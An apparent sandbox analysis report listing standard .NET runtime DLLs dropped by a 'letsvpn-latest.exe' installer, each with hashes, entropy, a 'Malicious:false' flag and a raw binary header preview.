                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............V)... ...@....... ...................................@..................................)..O....@...................+...`.......'............................................... ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8)......H.......P ......................L'......................................BSJB............v4.0.30319......l.......#~.. .......#Strings............#US.........#GUID...........#Blob......................3..................................................*.....*...c.....J.....w.................v.....,.....E.................`.....I...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):23528
                                                                                            Entropy (8bit):6.670521169818004
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:okUwx9rm5go1fWKmmW6oqN5eWjaW2CpwKANynsAw/98E9VF3AM+ogIUSXp6D6:3rmoFmWdO6Aw/KENAMxRUiM2
                                                                                            MD5:E1CDBA24AA0C7A72986136F32B7A8D1F
                                                                                            SHA1:053D2CDD91BE05B179F9EEC927AE0CB91206F5F2
                                                                                            SHA-256:914F5E3AD9A6CF8D0ECDE9B3BD10D89B302F36DA61E6D10696234EA51CEF34B1
                                                                                            SHA-512:46DE959261A0F990BF8D4EC5E6F5A7D05BB53CA3C7119C482D837DD46ADAEDF78806CDE4F6EAEED24E91EFD2E77FFEDC2050B85B998C99876CEBDFEFDECEF42C
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..&...........E... ...`....... ..............................1o....@.................................PE..O....`..x............0...+...........D............................................... ............... ..H............text....%... ...&.................. ..`.rsrc...x....`.......(..............@..@.reloc..............................@..B.................E......H........$...............A.......C......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2r/..p.(....*......(....*2(.....(....*^~....-.(.........~....*.0..........~..........(.........(....-Y..(!....{/......5..,

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):19432
                                                                                            Entropy (8bit):6.7377047539245725
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:I09bOAghbsDCyVnVc3p/i2fBVlAO/BRU+psbC984vmJHrE1dtx66aI2sU52RWVsU:BOAghbsDCyVnVc3p/i2fBVlAO/BRU+py
                                                                                            MD5:13D650992AF14213B9565D416057012A
                                                                                            SHA1:CE3D1DEB715263125749A43E9A347518550297FF
                                                                                            SHA-256:CBF3D7B658B37C258380A5BEAB2669314B68462B5B2F45F36E9F065BF521A69A
                                                                                            SHA-512:4673F59C59BBB8B71B3EEAD3CCDE700AC20AAA5B17AB007355A8536CAB000A5555D2E3736CF5CABDDDB2FE34688096DA2F5F7E0A3469E553A79BB95AE85FCC84
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............r5... ...@....... ...............................K....@................................. 5..O....@..P............ ...+...`.......3............................................... ............... ..H............text...x.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B................T5......H.......P ......................h3......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................r.....................e...........4.................3.....L...................................R...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.88873036151209
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:o7W6RWXGpwKANynsAw/98E9VF3AM+oLl1J:o5YAw/KENAMxnJ
                                                                                            MD5:9308174B4258B8ACE653B81D24EA4BF2
                                                                                            SHA1:21D5227DD3B9AC27C19C46CF2E7EF6039034CDCC
                                                                                            SHA-256:0BD6B33FA49515EC6B2F416BCAD46DD8C59270EDB587FDD2F4140AB7F4D17D88
                                                                                            SHA-512:8ED40209B4F45F8B307C13CBFD82786109E8BFF62190CD1C20ACB23B1FA00FC9818F8EDDC906C7D4F218AFBFB29792DBF71179BF878B7F8254B6165CC302817A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......4...#Strings....(.......#US.,.......#GUID...<.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.972036771580835
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:yI5HeWFwTBsWnypwKANynsAw/98E9VF3AM+owYqbnV/:yI5HFwTBZAw/KENAMxPqx
                                                                                            MD5:ED3DBEBBDACB64C5D09444DF8D4A7DF7
                                                                                            SHA1:B57B7BBF172721EAAB1EF5544E68415B3E0E393E
                                                                                            SHA-256:BE631EFF0AEE6E39110438EEFEB35F35D4F38032DAA0EC430D106C25566833A7
                                                                                            SHA-512:AA9D6209B3DAA4C0052ABFDE62B42F7525853F2917287229728F386BA2D69D70D01E794AED82B95E5CD27FD007DA9D74344776403E9C869C4F2B79B323D8EFDA
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@.................................|)..O....@...................+...`......D(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ..t....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....@.......#US.D.......#GUID...T... ...#Blob......................3............................................................U.x...........................~.....4.....M.................h.....$...................r.....r.....r...).r...1.r...9.r...A.r...I.r...Q.r...Y.r...a.r...i.r...q.r.......................#.....+.....3.....;.)...C.D...K.d...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.940117915440905
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:fAJpVWbfkBnW4CpwKANynsAw/98E9VF3AM+oyMsBS:fAJpWfkBlAw/KENAMxbd
                                                                                            MD5:E5D4C28265C4C251175A19ED9813BDF3
                                                                                            SHA1:209973EC30608A69178C1DF5EB9F99FFBA8F1246
                                                                                            SHA-256:360C12A381B1E12D4F46E127BE706B6A503233933B1C485B9BFE2684F19678A3
                                                                                            SHA-512:591FAC416565BC724F7BE43AAD3FBE5B2AA338E7A28AA47675FEFD14267467FA95E0C7B690B2064836DA4CBF32A0A3D1824491BA16110C5091541D8F3BFF1B82
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............>)... ...@....... ....................................@..................................(..O....@..`................+...`.......'............................................... ............... ..H............text...D.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................ )......H.......P ......................4'......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...........@...\.@...0.-...`.....D.................C.................[.....x.....-.........................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.#...C.>...K.^...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):21992
                                                                                            Entropy (8bit):6.600904799477403
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:d8R71h7yzt94dHWFgQBVWeHWFyTBVWHApwKANynsAw/98E9VF3AM+o5NgJbSTTt:81dyAqgQBfqyTBeAw/KENAMx5mYvt
                                                                                            MD5:0AAFD15B62DAF8E1CC9A828D6E005D20
                                                                                            SHA1:83E8AB9DA757632AEA51D8FCCB1F6037C75CDA5D
                                                                                            SHA-256:ABF28DDF5BA35DA1FE953DE121B919D7A2F9DDE53D3ECECDFFFFF2021F2B3A88
                                                                                            SHA-512:76E0A83A59C8DB51891482906FC5FEA74ED0C727AEA102FBC2866D78D426B3F29CA3DA21A286AB59B784B155D1199F5FAA4A98718515D15CCC83D9FE28E5860D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............8... ...@....... ....................................@..................................8..O....@..8............*...+...`.......7............................................... ............... ..H............text........ ...................... ..`.rsrc...8....@......................@..@.reloc.......`.......(..............@..B.................8......H.......|!..l............1..p...X7......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*......(....*..BSJB............v4.0.30319......l.......#~..h.......#Strings....\...4...#US.........#GUID...........#Blob...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):19944
                                                                                            Entropy (8bit):6.74011046147318
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:ypsBljcZQIVI8CNwbcyMWs4oBOW9MWG4tBOW2KpwKANynsAw/98E9VF3AM+owimK:4sPMQMI8COYyi4oBNw4tBqAw/KENAMxx
                                                                                            MD5:CBDC17202266F634C5069B562B6CB5A0
                                                                                            SHA1:F32B73EF640CA7F068ECB3A147738CFE9F970C0D
                                                                                            SHA-256:E0DB073C07CFAB4A29006A5C1874994B38E87E4C93233B3691BAD8839B379079
                                                                                            SHA-512:E64CBA608FA5B3FA88ECD42ACB3C817003FAF2DDBD97E6D3A974655C240F8AFB0ADAF37EC597E4F1C0006F4F0F74DD8B1DE268207777303064E64E4CD4D85F6D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............3... ...@....... ...............................l....@..................................3..O....@..............."...+...`.......2............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................3......H........!..0...................L2.......................................s....*..s....*..0...........o....u......,..o....*.*.0..%........s..........(....r...p.$o......o....*:.(......}....*..{....*.(....z.(....z6.{.....o....*:.{......o....*.(....z:.{......o....*.(....z.(....z.BSJB............v4.0.30319......l.......#~.. .......#Strings....$...0...#US.T.......#GUID...d.......#Blob...........W..........3............................................................................

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):24552
                                                                                            Entropy (8bit):6.391407248385007
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:2bhigwLAuZtM66g/Id7WVXWl9pwKANynsAw/98E9VF3AM+oVu46/VmeY:2bhzkKsDAw/KENAMx7UY
                                                                                            MD5:F5316D5E6D212490397ED265B4AA0F37
                                                                                            SHA1:CD3A01E05984CE99FEB33338AAB2FC1F76DD44CD
                                                                                            SHA-256:260209A9CAC746A4DA6DF7FF5950E6782919D025970C23B4A69D194859F28EB8
                                                                                            SHA-512:67F1B218AE0BC9B40C500B16C9D1CEC5CD14242E2EDC9F88A4DDE2658D40A5F59B98943869813103B0733070E9DD92ECB484399F2C1BD34F93A31AAE949BB8EB
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..*.........."H... ...`....... ..............................`h....@..................................G..O....`...............4...+...........F............................................... ............... ..H............text...((... ...*.................. ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B.................H......H.......P ...%...................F......................................BSJB............v4.0.30319......l.......#~..........#Strings.....#......#US..#......#GUID....#......#Blob......................3................................................_.........................8.....8...*.8.....8.....8.....8.....8.....8.........*.8.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):37864
                                                                                            Entropy (8bit):6.113294034752602
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:zPlIF91FhktexyvaMAdB+w3G5h9MF4YfzMfpcrqmf9wEJqIxVRvFNgfBkyN17xWM:blM7Ke5/WBkyN1h2Aw/KENAMxeQF/GH
                                                                                            MD5:B908CD7ACACF57942271E00070A1FA7D
                                                                                            SHA1:6E870A4E00BF32E226028CA6E2A8DFA94F2FB46E
                                                                                            SHA-256:B830A073904321782C11AB5E3DB261D9E3BA2BE5F880C1D8CCF2A79248AF9729
                                                                                            SHA-512:5CC65866475BB48524265BDDC4EBAEDF7DB9265A214762D7F554882B54BD2560009BA67D49E2F9ACC13FB8FB1ECEE29497F11EA5F8F79B87B8CA3F20616E58C8
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..Z...........x... ........... ...............................x....`..................................x..O....................h...+...........w..T............................................ ............... ..H............text....X... ...Z.................. ..`.rsrc................\..............@..@.reloc...............f..............@..B.................x......H........%..p5..........P[.......w.......................................~....*..0..........(....,..*..(.....o.......&...*...................0...........(.......(....-..,..*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*..,&(....,..r...pr...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*...(....*.(....,.r...p......%...%...%...(....*....(....*.(....,"r...p......%...%...%...%..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.91934807837682
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:VUcX6W9aWetpwKANynsAw/98E9VF3AM+okHcXJPUP:VUchZAw/KENAMxHXqP
                                                                                            MD5:AAB19A69B3EDF4A652C591EF9FD7DB28
                                                                                            SHA1:D7A0FC149457C5D763E5509C4FA284719230BABB
                                                                                            SHA-256:BFD61CFA99C7AAE0861004F4D0F57FC412A29F6407C9841DA2AC63040C8F25FD
                                                                                            SHA-512:B7921502E28EFD55085835BF63B5EA9AD59DE7366B41B251682D023A020421B0F8E0D1342E4A46F2B7B208D3EBE16B3001376B8EA1F88301B8BEF686B54E745A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............B)... ...@....... ..............................K.....@..................................(..O....@...................+...`.......'............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$)......H.......P ......................8'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....(.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):41960
                                                                                            Entropy (8bit):6.008639993845578
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:SoBj7kS+8mjvHTeaWKs0Sd4eedAw/KENAMxj:BPmb9WKs0PeedAwrxj
                                                                                            MD5:A45146CB7A8CE3C028ED19213E3B567E
                                                                                            SHA1:65C17BC3941EE34E8062911AABBEC98379262CE0
                                                                                            SHA-256:F738F16DFACBF64EF667BDEFEA5EA4D80119DD673690BFB73D10E170364E709B
                                                                                            SHA-512:1F967B8F8A98A951AE6C9F4E3BE5793735B454A0EEAD09455A62FD9B689516810B920F1B74E166877C9035CDC43A33AEE4E37B0CD95B77EF67C9E853655A5A3B
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..h.............. ........... ....................................@.................................u...O.......8............x...+........................................................... ............... ..H............text....f... ...h.................. ..`.rsrc...8............j..............@..@.reloc...............v..............@..B........................H.......P'..\8..........._...%..,.......................................j~....%-.&(F...s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2rI..p.(....*2r...p.(....*2r...p.(....*2r...p.(....*2r...p.(....*2r9..p.(....*2rm..p.(....*2r...p.(....*2r...p.(....*2r=..

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20968
                                                                                            Entropy (8bit):6.740409637923953
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:KedtuO/q3p4YN5XYwWCfWCgPpwKANynsAw/98E9VF3AM+o1O6T:KeJSZBXY4I+Aw/KENAMxM8
                                                                                            MD5:841522B4F5BE2B3B6BA1DAB6AEC8D8F8
                                                                                            SHA1:FBEE9376666DCC5B8D36ACE81EF843B672C77B81
                                                                                            SHA-256:2F3A70A68A089A8407E8FBD117E60832833B4D21AD48FEE9CE35A5990ECE1C27
                                                                                            SHA-512:274131ED9D22F452B69F3FF09E42C1CFCCF2928C9527CE2E45D2E75093A2B8B869A0FCC833B645BF8FA3ED6AB4575D7BF904FAFFFAEA8686F427ADECF29E8006
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............." ..0.............j:... ...@....... ....................................`..................................:..O....@...............&...+...`.......9..T............................................ ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B................L:......H.......|!..............t6.. ....8......................................:.(......}....*..{....*"..(....*"..(....*"..(....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(...........%...}....*:.(......}....*..{....*z.(......}...........%...}....*V.(......}......}....*..{....*..{....*..BSJB............v4.0.30319......l.......#~..@.......#Strings....T.......#US.X.......#GUID...h.......#Blob...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.948155823281706
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:WoTI2pWPzWXbpwKANynsAw/98E9VF3AM+oColk:vE3fAw/KENAMxrk
                                                                                            MD5:07AF657FA36485F8DCF3024E9D9DF120
                                                                                            SHA1:CBE6E6E4833E52311E4F3A12F76D7B861E2C3783
                                                                                            SHA-256:83329E17DBE093394B45BE306E375CECFDF13B4444B741DA5C8A223055DF9463
                                                                                            SHA-512:A715240658E6D0DAA4B388BCC66FB426020F32EBE4291743F35114C5EC684085FE9681D66969562E07F738FB0B5BD11D3F8BDBBD45370DF7D812B3E0785E201A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............^)... ...@....... ....................................@..................................)..O....@..`................+...`.......'............................................... ............... ..H............text...d.... ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................@)......H.......P ......................T'......................................BSJB............v4.0.30319......l.......#~..,.......#Strings............#US.........#GUID...........#Blob......................3......................................z...........A...\.A...0.....a.....D.................C.................[.....x.....-.........................(.....(.....(...).(...1.(...9.(...A.(...I.(...Q.(...Y.(...a.(...i.(...q.(.......................#.....+.....3.....;."...C.=...K.]...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.959924662620125
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:ocezoy4W04W3+jpwKANynsAw/98E9VF3AM+oJz43M2z:oBzoy+nAw/KENAMxaf
                                                                                            MD5:6E479108D89131E47325C613835E7A67
                                                                                            SHA1:A87ADC0B2889795EBE2EEFC720E2A9D9E358200B
                                                                                            SHA-256:BD3F4EC450E4A1789DFE5AF83421FCCC9EFEE12DC9D2755D9BB23B0AB0DAE270
                                                                                            SHA-512:87DFA337AF68DE3364022AC3126CE17EE9CB2DC924792ABB893409F6CC0684248DE3E53A07447E8881C7B83AFD3E5C255BBFBB795EA59281899E34230C0E7B82
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............~)... ...@....... ...............................J....@.................................,)..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`)......H.......P ..$...................t'......................................BSJB............v4.0.30319......l.......#~..<.......#Strings............#US.........#GUID....... ...#Blob......................3..................................................f...o.f...C.S.........W.................V...........%.....n...........@.....)...................M.....M.....M...).M...1.M...9.M...A.M...I.M...Q.M...Y.M...a.M...i.M...q.M.......................#.....+.....3.....;.'...C.B...K.b...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):21992
                                                                                            Entropy (8bit):6.706723910215356
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:vyBGXZp94Yi06W82WblpwKANynsAw/98E9VF3AM+owI0d3Nj95:mmZp9ZwQAw/KENAMxGdt
                                                                                            MD5:C39270CAA45F880EE80CE8CFDDFB8BE4
                                                                                            SHA1:9FA647B7DD989BC9CCBC90A4F30E4D191C8E178B
                                                                                            SHA-256:68D44D298A5D557BCEECFCD3E7BE7915731EA4EA98E773AE81EA22A38E12C0A0
                                                                                            SHA-512:9E2CC9CF2B10B2984E81777FFDA03B60DBE38FEDD8FA26250C6C6424AA2B4F57D0AD5FA189F73DB4085BB64ABE5660B3384F5A64C84F9745DE425C9DD9312145
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....J..........." ..0.............Z=... ...@....... ..............................*A....`..................................=..O....@..X............*...+...`.......<..T............................................ ............... ..H............text...`.... ...................... ..`.rsrc...X....@....... ..............@..@.reloc.......`.......(..............@..B................;=......H........!..............d9.. ....;......................................:.(......}....*..{....*"..(....*"..(....*"..(....*"..(....*"..(....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(...........%...}....*:.(......}....*..{....*z.(......}...........%...}....*V.(......}......}....*..{....*..{....*BSJB............v4.0.30319......l...h...#~......0...#Strings............#US.........#GUID...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Primitives.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.855205421046032
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:uH/JWKpWu7pwKANynsAw/98E9VF3AM+oW4A4:uH/jMAw/KENAMxV
                                                                                            MD5:F855E3307E1AAD4F5AF27A054C61E492
                                                                                            SHA1:B71EA5F344AA79D7AE334233F302CCD1B8B4B980
                                                                                            SHA-256:DA07E4B8309FA157EBC51F2BBFB36BF39DFB8015ED008D1273DC245BECBD333E
                                                                                            SHA-512:5280886ECE8EFB644F7592A100199CE99393017D028923CD018EB8CC13B0BD0ACDD1223CB25756DCCD6445ED0960E388FA5912099BBE62CF2C65B30BD837B75A
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0............."*... ...@....... ..............................p.....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...(.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID....... ...#Blob......................3............................................................o.s...........D.....D.....D.....D...8.D...Q.D.....D.....D...l.....U.D.................m.....m.....m...).m...1.m...9.m...A.m...I.m...Q.m...Y.m...a.m...i.m...q.m.......................#.....+.....3.....;.)...C.D...K.d...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):20968
                                                                                            Entropy (8bit):6.777414006114725
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:d4YlS5PWAb6jDW3ipwKANynsAw/98E9VF3AM+oHBMpo:dmY+Aw/KENAMxhj
                                                                                            MD5:8041547FA4F9BE1318BB80AB29901355
                                                                                            SHA1:A7A349D71A8994E5CF6D764AA99C67E8BF3B8EBF
                                                                                            SHA-256:4844B9F4A31796B233C9082916234091574000C51C55A59A23E682DB21F83878
                                                                                            SHA-512:0C94775BC11990D3EAD334A1C44A76C7E242CA46B79A5B4CD61520CCBC993A932AE57EB66E3F10FEE496649C78D19659A8306FB8004740851E8FF77A6ACB037D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...H.W..........." ..0..............9... ...@....... ..............................>.....`.................................M9..O....@...............&...+...`......88..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................9......H........!...............5..0....7......................................:.(......}....*..{....*"..(....*"..(....*"..(....*"..(....*"..(....*..(....*..(....*..(....*..(....*:.(......}....*..{....*:.(......}....*..{....*:.(......}....*..{....*..(....*:.(......}....*..{....*^.(...........%...}....*:.(......}....*..{....*z.(......}...........%...}....*V.(......}......}....*..{....*..{....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.X509Certificates.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17896
                                                                                            Entropy (8bit):6.803496403021755
                                                                                            Encrypted:false
